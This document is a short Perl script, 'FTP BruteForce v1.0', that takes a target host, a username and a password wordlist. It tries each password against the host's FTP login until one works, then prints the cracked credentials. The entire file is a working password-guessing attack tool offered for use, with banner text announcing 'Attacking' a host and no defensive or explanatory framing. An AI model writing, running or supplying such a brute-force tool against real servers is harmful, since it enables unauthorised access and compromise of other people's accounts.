BruteForce-FTP.pl

#!/usr/bin/perl
use Net::FTP;

my $host = $ARGV[0];
my $user = $ARGV[1];
my $wordlist = $ARGV[2];

system('cls');

if($#ARGV != 2){
print "
==============================================
           FTP BruteForce v1.0

           C0d3r: Nicholas Ferreira

           Translated by: Zanut
==============================================

Usage: BruteForce-FTP.pl <www.host> <user> <wordlist>
";
exit;
}

print "
==============================================
           FTP BruteForce v1.0

           C0d3r: Nicholas Ferreira

           Translated by: Zanut
==============================================
";
print "[*] Attacking: $host\n[*] User: $user\n\n";

open(a,"<$wordlist");
@password = <a>;
$b = scalar(@password);
for($a>0;$a<$b;$a++){

$number += 1;
chomp($password2 = $password[$a]);
my $f = Net::FTP->new($host) or die "$!";
if(!$f->login($user, $password2)){
print "[*] $host:21 - [$number/$b] Testing... $password2\n";
$f->quit;
} else {
print "[*] $host:21 - [$number/$b] Testing... $password2\n";
print "[+] Password successfully cracked!\n";
print "[*] Login: $user Password: $password2\n\n";
exit;
}

}
print "\n[-] No password found :/\n";
exit;